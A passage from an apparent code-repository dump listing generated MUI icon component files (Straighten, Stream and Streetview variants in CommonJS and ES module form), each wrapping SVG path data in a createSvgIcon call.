    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H3V8h2v4h2V8h2v4h2V8h2v4h2V8h2v4h2V8h2z\"\n}), 'Straighten');"
  },
  {
    "path": "packages/mui-icons-material/lib/Straighten.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H3V8h2v4h2V8h2v4h2V8h2v4h2V8h2v4h2V8h2z\"\n}), 'Straighten');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H3V8h2v4h2V8h2v4h2V8h2v4h2V8h2v4h2V8h2z\"\n}), 'StraightenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H3V8h2v4h2V8h2v4h2V8h2v4h2V8h2v4h2V8h2z\"\n}), 'StraightenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-1 10H4c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h1v3c0 .55.45 1 1 1s1-.45 1-1V8h2v3c0 .55.45 1 1 1s1-.45 1-1V8h2v3c0 .55.45 1 1 1s1-.45 1-1V8h2v3c0 .55.45 1 1 1s1-.45 1-1V8h1c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1\"\n}), 'StraightenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m-1 10H4c-.55 0-1-.45-1-1V9c0-.55.45-1 1-1h1v3c0 .55.45 1 1 1s1-.45 1-1V8h2v3c0 .55.45 1 1 1s1-.45 1-1V8h2v3c0 .55.45 1 1 1s1-.45 1-1V8h2v3c0 .55.45 1 1 1s1-.45 1-1V8h1c.55 0 1 .45 1 1v6c0 .55-.45 1-1 1\"\n}), 'StraightenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23 6H1v12h22zm-2 10H3V8h2v4h2V8h2v4h2V8h2v4h2V8h2v4h2V8h2z\"\n}), 'StraightenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23 6H1v12h22zm-2 10H3V8h2v4h2V8h2v4h2V8h2v4h2V8h2v4h2V8h2z\"\n}), 'StraightenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 12h-2V8h-2v4h-2V8h-2v4H9V8H7v4H5V8H3v8h18V8h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H3V8h2v4h2V8h2v4h2V8h2v4h2V8h2v4h2V8h2z\"\n}, \"1\")], 'StraightenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StraightenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 12h-2V8h-2v4h-2V8h-2v4H9V8H7v4H5V8H3v8h18V8h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V8c0-1.1-.9-2-2-2m0 10H3V8h2v4h2V8h2v4h2V8h2v4h2V8h2v4h2V8h2z\"\n}, \"1\")], 'StraightenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stream.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.05 8.59 6.03 4.55h-.01l-.31-.32-1.42 1.41 4.02 4.05.01-.01.31.32zm3.893.027 4.405-4.392L19.76 5.64l-4.405 4.393zM10.01 15.36l-1.42-1.41-4.03 4.01-.32.33 1.41 1.41 4.03-4.02zm9.75 2.94-3.99-4.01-.36-.35L14 15.35l3.99 4.01.35.35z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"4\")], 'Stream');"
  },
  {
    "path": "packages/mui-icons-material/lib/Stream.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.05 8.59 6.03 4.55h-.01l-.31-.32-1.42 1.41 4.02 4.05.01-.01.31.32zm3.893.027 4.405-4.392L19.76 5.64l-4.405 4.393zM10.01 15.36l-1.42-1.41-4.03 4.01-.32.33 1.41 1.41 4.03-4.02zm9.75 2.94-3.99-4.01-.36-.35L14 15.35l3.99 4.01.35.35z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"4\")], 'Stream');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreamOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.9432 8.619 4.4044-4.392 1.4122 1.4162-4.4044 4.392zM8.32 9.68l.31.32 1.42-1.41-4.02-4.04h-.01l-.31-.32-1.42 1.41 4.02 4.05zm7.09 4.26L14 15.35l3.99 4.01.35.35 1.42-1.41-3.99-4.01zm-6.82.01-4.03 4.01-.32.33 1.41 1.41 4.03-4.02.33-.32z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"4\")], 'StreamOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreamOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.9432 8.619 4.4044-4.392 1.4122 1.4162-4.4044 4.392zM8.32 9.68l.31.32 1.42-1.41-4.02-4.04h-.01l-.31-.32-1.42 1.41 4.02 4.05zm7.09 4.26L14 15.35l3.99 4.01.35.35 1.42-1.41-3.99-4.01zm-6.82.01-4.03 4.01-.32.33 1.41 1.41 4.03-4.02.33-.32z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"4\")], 'StreamOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreamRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m7.89 14.65-2.94 2.93c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.94-2.93c.39-.38.39-1.02 0-1.41a.996.996 0 0 0-1.41 0M6.41 4.94a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.93 2.94c.39.39 1.02.39 1.42 0 .38-.39.38-1.02-.01-1.41zm9.71 9.71c-.39-.39-1.02-.39-1.42 0-.39.39-.39 1.02 0 1.41L17.64 19c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zm-.06-5.32 2.99-2.98c.39-.4.39-1.03 0-1.42a.996.996 0 0 0-1.41 0l-2.99 2.98c-.39.39-.39 1.02 0 1.42.39.39 1.02.39 1.41 0\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"4\")], 'StreamRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreamRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m7.89 14.65-2.94 2.93c-.39.39-.39 1.02 0 1.41s1.02.39 1.41 0l2.94-2.93c.39-.38.39-1.02 0-1.41a.996.996 0 0 0-1.41 0M6.41 4.94a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l2.93 2.94c.39.39 1.02.39 1.42 0 .38-.39.38-1.02-.01-1.41zm9.71 9.71c-.39-.39-1.02-.39-1.42 0-.39.39-.39 1.02 0 1.41L17.64 19c.39.39 1.02.39 1.41 0s.39-1.02 0-1.41zm-.06-5.32 2.99-2.98c.39-.4.39-1.03 0-1.42a.996.996 0 0 0-1.41 0l-2.99 2.98c-.39.39-.39 1.02 0 1.42.39.39 1.02.39 1.41 0\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"4\")], 'StreamRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreamSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.9432 8.619 4.4044-4.392 1.4122 1.4162-4.4044 4.392zM8.32 9.68l.31.32 1.42-1.41-4.02-4.04h-.01l-.31-.32-1.42 1.41 4.02 4.05zm7.09 4.26L14 15.35l3.99 4.01.35.35 1.42-1.41-3.99-4.01zm-6.82.01-4.03 4.01-.32.33 1.41 1.41 4.03-4.02.33-.32z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"4\")], 'StreamSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreamSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.9432 8.619 4.4044-4.392 1.4122 1.4162-4.4044 4.392zM8.32 9.68l.31.32 1.42-1.41-4.02-4.04h-.01l-.31-.32-1.42 1.41 4.02 4.05zm7.09 4.26L14 15.35l3.99 4.01.35.35 1.42-1.41-3.99-4.01zm-6.82.01-4.03 4.01-.32.33 1.41 1.41 4.03-4.02.33-.32z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"4\")], 'StreamSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreamTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"20\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.9432 8.619 4.4044-4.392 1.4122 1.4162-4.4044 4.392zM8.32 9.68l.31.32 1.42-1.41-4.02-4.04h-.01l-.31-.32-1.42 1.41 4.02 4.05zm7.09 4.26L14 15.35l3.99 4.01.35.35 1.42-1.41-3.99-4.01zm-6.82.01-4.03 4.01-.32.33 1.41 1.41 4.03-4.02.33-.32z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"4\")], 'StreamTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreamTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"20\",\n  cy: \"12\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"4\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"20\",\n  r: \"2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.9432 8.619 4.4044-4.392 1.4122 1.4162-4.4044 4.392zM8.32 9.68l.31.32 1.42-1.41-4.02-4.04h-.01l-.31-.32-1.42 1.41 4.02 4.05zm7.09 4.26L14 15.35l3.99 4.01.35.35 1.42-1.41-3.99-4.01zm-6.82.01-4.03 4.01-.32.33 1.41 1.41 4.03-4.02.33-.32z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"4\",\n  r: \"2\"\n}, \"4\")], 'StreamTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Streetview.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.56 14.33c-.34.27-.56.7-.56 1.17V21h7c1.1 0 2-.9 2-2v-5.98c-.94-.33-1.95-.52-3-.52-2.03 0-3.93.7-5.44 1.83\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 6c0-1.08.27-2.1.74-3H5c-1.1 0-2 .9-2 2v14c0 .55.23 1.05.59 1.41l9.82-9.82C12.23 9.42 11.5 7.8 11.5 6\"\n}, \"2\")], 'Streetview');"
  },
  {
    "path": "packages/mui-icons-material/lib/Streetview.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.56 14.33c-.34.27-.56.7-.56 1.17V21h7c1.1 0 2-.9 2-2v-5.98c-.94-.33-1.95-.52-3-.52-2.03 0-3.93.7-5.44 1.83\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 6c0-1.08.27-2.1.74-3H5c-1.1 0-2 .9-2 2v14c0 .55.23 1.05.59 1.41l9.82-9.82C12.23 9.42 11.5 7.8 11.5 6\"\n}, \"2\")], 'Streetview');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreetviewOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.56 14.33c-.34.27-.56.7-.56 1.17V21h7c1.1 0 2-.9 2-2v-5.98c-.94-.33-1.95-.52-3-.52-2.03 0-3.93.7-5.44 1.83\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 6c0-1.08.27-2.1.74-3H5c-1.1 0-2 .9-2 2v14c0 .55.23 1.05.59 1.41l9.82-9.82C12.23 9.42 11.5 7.8 11.5 6\"\n}, \"2\")], 'StreetviewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreetviewOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.56 14.33c-.34.27-.56.7-.56 1.17V21h7c1.1 0 2-.9 2-2v-5.98c-.94-.33-1.95-.52-3-.52-2.03 0-3.93.7-5.44 1.83\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 6c0-1.08.27-2.1.74-3H5c-1.1 0-2 .9-2 2v14c0 .55.23 1.05.59 1.41l9.82-9.82C12.23 9.42 11.5 7.8 11.5 6\"\n}, \"2\")], 'StreetviewOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreetviewRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.56 14.33c-.34.27-.56.7-.56 1.17V21h7c1.1 0 2-.9 2-2v-5.98c-.94-.33-1.95-.52-3-.52-2.03 0-3.93.7-5.44 1.83\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 6c0-1.08.27-2.1.74-3H5c-1.1 0-2 .9-2 2v14c0 .55.23 1.05.59 1.41l9.82-9.82C12.23 9.42 11.5 7.8 11.5 6\"\n}, \"2\")], 'StreetviewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreetviewRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.56 14.33c-.34.27-.56.7-.56 1.17V21h7c1.1 0 2-.9 2-2v-5.98c-.94-.33-1.95-.52-3-.52-2.03 0-3.93.7-5.44 1.83\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 6c0-1.08.27-2.1.74-3H5c-1.1 0-2 .9-2 2v14c0 .55.23 1.05.59 1.41l9.82-9.82C12.23 9.42 11.5 7.8 11.5 6\"\n}, \"2\")], 'StreetviewRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreetviewSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.56 14.33c-.34.27-.56.7-.56 1.17V21h7c1.1 0 2-.9 2-2v-5.98c-.94-.33-1.95-.52-3-.52-2.03 0-3.93.7-5.44 1.83\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 6c0-1.08.27-2.1.74-3H5c-1.1 0-2 .9-2 2v14c0 .55.23 1.05.59 1.41l9.82-9.82C12.23 9.42 11.5 7.8 11.5 6\"\n}, \"2\")], 'StreetviewSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/StreetviewSharp.mjs",
